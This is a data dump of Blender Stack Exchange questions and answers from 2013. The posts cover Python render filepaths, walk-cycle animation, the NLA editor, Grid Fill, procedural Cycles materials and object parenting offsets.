  <row Id="3738" PostTypeId="1" AcceptedAnswerId="3739" CreationDate="2013-11-07T09:56:02.740" Score="2" ViewCount="4755" Body="&lt;p&gt;Let say I have blend file called &lt;strong&gt;test01.blend&lt;/strong&gt;, then I want to automatically assign render filepath via python to &lt;code&gt;/media/data/render/[current blend filename]/[current blend filename]_&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it should look like this &lt;code&gt;/media/data/render/test01/test01_&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to access it via &lt;code&gt;bpy.data.filepath&lt;/code&gt;, but I got only full file path for current blend file not blend file name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="12" LastEditDate="2013-11-07T10:22:52.927" LastActivityDate="2013-11-07T23:12:26.357" Title="How to set render filepath using blend filename in python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3739" PostTypeId="2" ParentId="3738" CreationDate="2013-11-07T10:03:17.877" Score="3" Body="&lt;p&gt;From &lt;a href=&quot;https://blender.stackexchange.com/a/2548/599&quot;&gt;iKlsR's answer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can get the filename with&#xA;  &lt;code&gt;bpy.path.basename(bpy.context.blend_data.filepath)&lt;/code&gt;. This will return&#xA;  it as a string without the path attached.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can then assign the render output path with it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;filename = bpy.path.basename(bpy.data.filepath)&#xA;if filename:&#xA;    bpy.context.scene.render.filepath = filename&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that basename will include the file extension (&lt;code&gt;.blend&lt;/code&gt;). You can strip it using &lt;a href=&quot;http://docs.python.org/3.3/library/os.path.html#os.path.splitext&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;os.path.splittext()&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import bpy&#xA;&#xA;filename = bpy.path.basename(bpy.data.filepath)&#xA;filename = os.path.splitext(filename)[0]&#xA;&#xA;if filename:&#xA;    bpy.context.scene.render.filepath = os.path.join(&quot;/media/data/render&quot;, filename, filename + &quot;_&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2013-11-07T23:12:26.357" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3740" PostTypeId="2" ParentId="3736" CreationDate="2013-11-07T10:24:41.057" Score="17" Body="&lt;p&gt;For each cycle, make sure the support foot (one that's planted to the ground) moves back &lt;em&gt;in linear speed&lt;/em&gt;. Use &lt;strong&gt;Set Keyframe Interpolation&lt;/strong&gt; &lt;kbd&gt;T&lt;/kbd&gt; &gt; &lt;strong&gt;Linear&lt;/strong&gt; for the support foot's first keyframe. You should also &lt;em&gt;know the distance&lt;/em&gt; it moves back. Just &lt;kbd&gt;Ctrl&lt;/kbd&gt;-drag (snap to increment) so the distance value is easy to reproduce, no need for guesswork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, &lt;em&gt;move the root bone&lt;/em&gt;, at the same distance, also in linear speed. Here's an example before moving the root bone, using David Rodriguez's &lt;a href=&quot;http://www.blendswap.com/blends/view/17114&quot; rel=&quot;noreferrer&quot;&gt;Carmen&lt;/a&gt; rig (box moved linearly, standing in as the ground):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GXHjd.gif&quot; alt=&quot;2a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;a href=&quot;https://i.stack.imgur.com/gHVoZ.gif&quot; rel=&quot;noreferrer&quot;&gt;after moving it [GIF]&lt;/a&gt; (box still as ground), and the animation's graph:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O9Z5J.png&quot; alt=&quot;4a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Support foot's position within the cycle represents how far the ground &quot;moves&quot;. By moving it at linear speed, with known distance, it's easy to move the root bone in a way that will counter the support foot's.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;NLA-based Walkcycle&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The workflow is also applicable for non-linear animation, with slight difference. Create a separate action data for root bone's animation, put it above the walkcycle track:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W9CqT.png&quot; alt=&quot;5a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though the walkcycle's action is the same, the root bone's need to be extrapolated linearly. For the root bone's action, execute &lt;strong&gt;Channel&lt;/strong&gt; &gt; &lt;strong&gt;Extrapolation Mode&lt;/strong&gt; &lt;kbd&gt;Shift-E&lt;/kbd&gt;, and select &lt;strong&gt;Linear Extrapolation&lt;/strong&gt;. That way, the root bone's animation strip only needs to be scaled to match the walkcycle's, no matter how long is repeated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4lXlT.gif&quot; alt=&quot;6a&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-11-07T23:52:09.157" LastActivityDate="2013-11-07T23:52:09.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3741" PostTypeId="1" CreationDate="2013-11-07T14:55:04.040" Score="9" ViewCount="470" Body="&lt;p&gt;How I can do an operation in blender like Autocad's &lt;em&gt;edgesurf&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Autocad, edgesurf creates a mesh between four contiguous edges or curves:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XAekF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Access methods from autocad:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Button&lt;/li&gt;&#xA;&lt;li&gt;Ribbon:  Mesh Modeling tabPrimitives panelModeling, Meshes, Edge Surface&lt;/li&gt;&#xA;&lt;li&gt;Menu: DrawModelingMeshesEdge Mesh&lt;/li&gt;&#xA;&lt;li&gt;Command entry: edgesurf&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Summary:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Select four adjoining edges that define the mesh. The edges can be&#xA;  lines, arcs, splines, or open polylines. The edges must touch at their&#xA;  endpoints to form a single, closed loop.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1340" LastEditorUserId="599" LastEditDate="2013-11-07T19:59:21.687" LastActivityDate="2013-11-09T16:36:21.133" Title="Autocad &quot;edgesurf&quot; equivalent in Blender?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3742" PostTypeId="2" ParentId="3741" CreationDate="2013-11-07T15:22:19.570" Score="15" Body="&lt;p&gt;You're looking for the &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Faces#Grid_Fill&quot; rel=&quot;nofollow noreferrer&quot;&gt;Grid Fill&lt;/a&gt;&lt;/strong&gt; tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grid fill is accessible with &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;F&lt;/kbd&gt; &lt;em&gt;&lt;kbd&gt;Grid fill&lt;/kbd&gt;&lt;/em&gt; or via the &lt;em&gt;3D View header &gt; Mesh &gt; Faces &gt; Grid Fill&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZdkPI.png&quot; alt=&quot;Two edge loops selected, before applying Grid Fill&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mzn2W.png&quot; alt=&quot;The result of applying Grid Fill to the previous scene&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="12" LastEditDate="2013-11-09T16:36:21.133" LastActivityDate="2013-11-09T16:36:21.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3744" PostTypeId="2" ParentId="3603" CreationDate="2013-11-07T19:36:57.920" Score="1" Body="&lt;p&gt;Another alternative is to, when the points at the right are selected, press &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;M&lt;/kbd&gt; to merge the points together.&lt;/p&gt;&#xA;" OwnerUserId="1548" LastActivityDate="2013-11-07T19:36:57.920" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3745" PostTypeId="5" CreationDate="2013-11-07T20:32:53.593" Score="0" Body="&lt;p&gt;The Non-Linear Animation editor (NLA editor) is used for managing small animations (or &lt;em&gt;Actions&lt;/em&gt;). These &lt;em&gt;actions&lt;/em&gt; can be layered and combined into longer animations.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/editors/nla/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The NLA editor can manipulate and repurpose actions, without the tedium of keyframe handling. Its often used to make broad, significant changes to a scene's animation, with relative ease. It can also repurpose, and 'layer' actions, which make it easier to organize, and version-control your animation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-06T11:57:03.413" LastActivityDate="2020-10-06T11:57:03.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3746" PostTypeId="4" CreationDate="2013-11-07T20:32:53.593" Score="0" Body="Questions related to the NLA (Non-Linear Animation) editor in blender." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-07T21:09:35.557" LastActivityDate="2013-11-07T21:09:35.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3748" PostTypeId="1" CreationDate="2013-11-08T00:35:17.063" Score="2" ViewCount="1939" Body="&lt;p&gt;Is there a way to make procedural materials like the ones &lt;a href=&quot;http://www.quadspinner.com/products.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; in Cycles for rocks, sand, landscapes, etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an image of what I'm trying to achieve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QZN70.jpg&quot; alt=&quot;Example image of rocks&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="1553" LastEditorUserId="372" LastEditDate="2013-11-08T03:15:40.663" LastActivityDate="2015-06-02T19:12:49.257" Title="Procedural Vue-like materials with Cycles" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3750" PostTypeId="2" ParentId="3735" CreationDate="2013-11-08T06:37:55.933" Score="4" Body="&lt;p&gt;It is mainly caused by toggling &quot;Chaining&quot; feature in the Freestyle Lining Style panel, if you are sure it's not caused by any Freestyle modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, to prevent that, you may simply toggle &quot;Enable Chaining&quot; off, or just include &quot;Contour&quot; by toggling it in the Edge Types list. (But make sure &quot;Same Object&quot; is not toggled, which is right below the &quot;Enable Chaining&quot; checkbox.)&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-11-08T14:49:11.910" LastActivityDate="2013-11-08T14:49:11.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3751" PostTypeId="2" ParentId="3748" CreationDate="2013-11-08T07:30:04.427" Score="8" Body="&lt;p&gt;I would say &lt;strong&gt;yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Here is an example I made in a few minutes entirely with material nodes:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LkPqT.png&quot; alt=&quot;Render&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Node setup:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Zsro5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zsro5.png&quot; alt=&quot;Node Setup&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that the color ramp near the bottom of the screenshot is going from &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;3&lt;/code&gt; (to make the displacement stronger). To make colors darker or lighter than &lt;code&gt;1&lt;/code&gt; or &lt;code&gt;0&lt;/code&gt; you must &lt;a href=&quot;https://blender.stackexchange.com/questions/2832/number-button-min-max-limits&quot;&gt;type the values in directly&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Also note that the above image is rendered with Cycles &lt;a href=&quot;http://www.blender.org/manual/render/cycles/materials/displacement.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;experimental displacement&lt;/a&gt;.&lt;br /&gt;&#xA;To enable this you must &lt;a href=&quot;http://www.blender.org/manual/render/cycles/experimental_features.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;enable experimental features&lt;/a&gt; in &lt;em&gt;Properties &amp;gt; Render settings &amp;gt; Render &amp;gt; Feature Set&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tvAyq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This enables the &lt;a href=&quot;http://www.blender.org/manual/render/cycles/materials/displacement.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Displacement&lt;/em&gt; settings&lt;/a&gt; in &lt;em&gt;Properties &amp;gt; Object Data&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/226/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=226&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-02T19:12:49.257" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3752" PostTypeId="1" AcceptedAnswerId="3755" CreationDate="2013-11-08T07:43:27.707" Score="4" ViewCount="1597" Body="&lt;p&gt;I combined two action strips in the NLA-editor but the forward movement fades in (red curve in the image below)  I would prefer to have this linear. Where can I change this behaviour? Action blending and extrapolation doesn't seem to have an effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KS2iz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-11-08T11:20:55.760" Title="Where can I change mixing of an action in NLA?" Tags="&lt;animation&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3753" PostTypeId="1" AcceptedAnswerId="3754" CreationDate="2013-11-08T08:17:58.953" Score="6" ViewCount="1936" Body="&lt;p&gt;Between some keyframes a bar is drawn, when is a bar displayed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1KjI4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2020-12-27T19:53:40.870" Title="What do the bars between keyframes mean?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3754" PostTypeId="2" ParentId="3753" CreationDate="2013-11-08T08:21:31.473" Score="13" Body="&lt;p&gt;This means that the keyframes which the bar connects are the same.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://115.28.130.42/blender/editors/dope_sheet/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When the value of a given channel does not change at all between two neighboring keyframes, a gray (unselected) or yellow (selected) line is drawn between them.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;E.g. If you insert a &lt;code&gt;LocRot&lt;/code&gt; keyframe on frame &lt;code&gt;1&lt;/code&gt;, then rotate and insert another &lt;code&gt;LocRot&lt;/code&gt; keyframe on frame &lt;code&gt;10&lt;/code&gt;, the &lt;code&gt;Location&lt;/code&gt; will not have changed so there will be a bar drawn between each location channel keyframe:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pDZ3j.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W2g0C.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="92768" LastEditDate="2020-12-27T19:53:40.870" LastActivityDate="2020-12-27T19:53:40.870" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3755" PostTypeId="2" ParentId="3752" CreationDate="2013-11-08T11:20:55.760" Score="4" Body="&lt;p&gt;The relevant setting is &lt;strong&gt;Blend In/Out&lt;/strong&gt;. To ignore keyframes in strips below the active one, turn off &lt;strong&gt;Auto Blend In/Out&lt;/strong&gt;, and set both blend values to 0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DYPO5.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More generally I suggest, for bones that will be animated in a layer, to avoid keyframing it &lt;em&gt;in strip actions in all other layers&lt;/em&gt;. Or do it in such a way that the strips don't overlap. That'd save you some headache when the animation mixing gets more complex, especially if there are semi-overlapping action strips. Not used carefully, action blending could cause jerky movement that's hard to tweak.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-08T11:20:55.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3756" PostTypeId="1" CreationDate="2013-11-08T13:48:45.560" Score="8" ViewCount="1629" Body="&lt;p&gt;Does anyone know how to apply a texture in Cycles that only effects the faces of a mesh that are facing upwards (ie in the global Z direction within an angular tolerance)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be very useful for snow, frost, dirt or dust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done some experiments using the Tangent node but the results are not ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe Maya has a snow texture that produces this type of result.&lt;/p&gt;&#xA;" OwnerUserId="1261" LastActivityDate="2018-07-16T10:44:46.287" Title="Texture that only effects faces that are facing upwards" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3757" PostTypeId="2" ParentId="3756" CreationDate="2013-11-08T16:29:24.787" Score="12" Body="&lt;p&gt;Use this node setup for your material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iep1J.png&quot; alt=&quot;Material nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dot product of the face normal with vector &lt;em&gt;(0, 0, 1)&lt;/em&gt; is 0 when the face normal is orthogonal (= horizontal) and maximal when equal. When pointing downwards the dot product is negative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the color ramp you can control the angular tolerance. If you don't want to have a smooth transition between texture and green you can move white handle to the black one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is used as the factor of a Mix Shader mixing the texture with a green diffuse material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/K3TAg.jpg&quot; alt=&quot;Render result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-11-08T16:59:46.790" LastActivityDate="2013-11-08T16:59:46.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3758" PostTypeId="1" AcceptedAnswerId="3759" CreationDate="2013-11-08T17:08:11.117" Score="5" ViewCount="399" Body="&lt;p&gt;With the new website, it seems impossible to find the svn builds. Where can they be obtained now?&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-11-08T17:22:36.283" Title="Where are the nightly builds of Blender made available?" Tags="&lt;versions&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-09T00:38:15.913" ContentLicense="CC BY-SA 3.0" />
  <row Id="3759" PostTypeId="2" ParentId="3758" CreationDate="2013-11-08T17:22:36.283" Score="4" Body="&lt;p&gt;The latest builds are still here &lt;a href=&quot;http://builder.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;http://builder.blender.org/download/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-11-08T17:22:36.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3761" PostTypeId="1" AcceptedAnswerId="3780" CreationDate="2013-11-08T22:31:45.263" Score="4" ViewCount="2533" Body="&lt;p&gt;I am kind of new to the whole animation aspect and in fact still in high school.&lt;br&gt;&#xA; I am trying to make a Minecraft character rig and I want to make some 3D hair. I did not know how to quite make it so I kind of when just did something pretty simple. It isn't the greatest in any means, but any how the point is every time I render it white lines show up between objects or joined objects. I don't know how to fix this and would like help (a picture is posted below of the problem). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8U6qF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8RUyO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1560" LastEditorUserId="12" LastEditDate="2013-11-09T02:50:26.850" LastActivityDate="2013-11-09T15:55:54.610" Title="White lines between objects in render" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="3762" PostTypeId="2" ParentId="3735" CreationDate="2013-11-09T00:04:23.113" Score="8" Body="&lt;p&gt;Try the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make the mesh smooth (I guess this has been already done in your scene).&lt;/li&gt;&#xA;&lt;li&gt;Enable the &lt;em&gt;Face Smoothness&lt;/em&gt; option in &lt;em&gt;Properties &gt; Render Layers &gt; Freestyle&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A detailed explanation of these settings can be found &lt;a href=&quot;http://freestyleintegration.wordpress.com/2010/11/28/weekly-update-november-15-28/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1561" LastEditorUserId="599" LastEditDate="2013-11-09T01:48:35.293" LastActivityDate="2013-11-09T01:48:35.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3763" PostTypeId="1" AcceptedAnswerId="3765" CreationDate="2013-11-09T00:42:10.060" Score="14" ViewCount="4060" Body="&lt;p&gt;When I parent an object to another object with keep_transforms=True The object stays in place as expected, however I noticed that the location attribute of the child did not change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I zero out the location, my child object goes to the center of the world. I would expect that if I parent something with keep transforms, an inverse transform is applied to my location (location would not stay the same), I would also expect if I zero my child location attributes that the resulting position would be the same as the parents location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There must be an extra transform offset kept somewhere which is trying to preserve the original location coordinates, basically storing the inverse that I feel should be applied to my child location as an offset attribute when I do the parenting. Where can I find info on this invisible attribute/offset?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This behavior is simply bizarre to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps to reproduce:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the default scene Add-&gt;Empty-&gt;Plain Axes&lt;/li&gt;&#xA;&lt;li&gt;set Empty location to (-2.0, 10.0, 2.0)&lt;/li&gt;&#xA;&lt;li&gt;Translate the default cube 5 in the X direction&lt;/li&gt;&#xA;&lt;li&gt;Select Cube then the Empty&lt;/li&gt;&#xA;&lt;li&gt;Object-&gt;Parent-&gt;Object-&gt;Keep Transforms&lt;/li&gt;&#xA;&lt;li&gt;Select Cube, notice Location X is still set to 5&lt;/li&gt;&#xA;&lt;li&gt;Zero out location of Cube, notice Cube goes to world center.&lt;/li&gt;&#xA;&lt;li&gt;Rotate or move Empty and the cube is no longer at the center, but has 0,0,0 for location.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Where is the extra transform stored and why is it stored at all?? If the parenting took place at world space 0,0,0 for both objects, it works as expected, but that is not convenient and seems ridiculous as a workaround.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Blender 2.68&lt;/p&gt;&#xA;" OwnerUserId="1458" LastActivityDate="2017-02-04T20:58:57.993" Title="Parenting messes up transforms - where is the offset stored?" Tags="&lt;rigging&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3765" PostTypeId="2" ParentId="3763" CreationDate="2013-11-09T00:55:44.063" Score="11" Body="&lt;p&gt;The difference between the parent and child is stored on the child when the parent is set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a matrix that can only be accessed through Python: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.Object.html#bpy.types.Object.matrix_parent_inverse&quot;&gt;&lt;code&gt;bpy.types.Object.matrix_parent_inverse&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="599" LastEditDate="2013-11-09T01:39:55.997" LastActivityDate="2013-11-09T01:39:55.997" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3768" PostTypeId="2" ParentId="3327" CreationDate="2013-11-09T03:36:32.207" Score="16" Body="&lt;p&gt;The latest version of Blender has &lt;em&gt;Walk Mode&lt;/em&gt;, You can access it by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;~&lt;/kbd&gt; (the tilde/backtick key above &lt;kbd&gt;Tab&lt;/kbd&gt;) or &lt;em&gt;View &gt; Navigation &gt; Walk Navigation&lt;/em&gt;. If you want to use &lt;em&gt;Fly Mode&lt;/em&gt; (which used to be the default), you can switch between them in &lt;em&gt;User Preferences &gt; Input&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under 2.8+ you can access both from the &lt;em&gt;3D View&lt;/em&gt; header menu &lt;em&gt;View &gt; Navigate &gt; Walk&lt;/em&gt; or &lt;em&gt;Fly&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BepBz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BepBz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's &lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; just like in FPS-games, &lt;kbd&gt;Q&lt;/kbd&gt; and &lt;kbd&gt;R&lt;/kbd&gt; to move up/down. &lt;kbd&gt;G&lt;/kbd&gt; or &lt;kbd&gt;Tab&lt;/kbd&gt; enable gravity and collision, and &lt;kbd&gt;V&lt;/kbd&gt; to jump in gravity mode. &lt;kbd&gt;Space&lt;/kbd&gt; teleports you to the surface you are pointed at. You can even change the key-bindings to enable FPS Walk (the official name) on &lt;kbd&gt;MMB&lt;/kbd&gt; down, and confirm on &lt;kbd&gt;MMB&lt;/kbd&gt; up to always rotate (or rather: look) in FPS-style - or even hold &lt;kbd&gt;MMB&lt;/kbd&gt; down and use &lt;kbd&gt;WASD&lt;/kbd&gt;!&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="31447" LastEditDate="2020-05-01T13:45:55.170" LastActivityDate="2020-05-01T13:45:55.170" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="3770" PostTypeId="5" CreationDate="2013-11-09T04:39:22.540" Score="0" Body="" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-09T04:39:22.540" LastActivityDate="2013-11-09T04:39:22.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
